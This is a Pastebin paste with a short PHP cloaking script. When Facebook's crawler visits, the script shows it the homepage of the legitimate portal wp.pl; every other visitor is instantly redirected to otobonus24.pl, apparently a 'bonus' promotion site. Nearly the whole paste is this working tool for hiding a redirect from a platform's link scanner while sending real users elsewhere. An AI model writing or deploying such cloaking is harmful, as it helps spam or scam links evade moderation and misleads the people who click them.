Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(!empty($_SERVER['HTTP_USER_AGENT']))
- {
- $pos = strpos($_SERVER['HTTP_USER_AGENT'], "facebook");
- if($pos !== false)
- {
- $homepage = file_get_contents('http://www.wp.pl/');
- echo $homepage;
- exit();
- }
- }
- ?>
- <head>
- <meta http-equiv="refresh" content="0; url=http://otobonus24.pl/" />
- </head>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement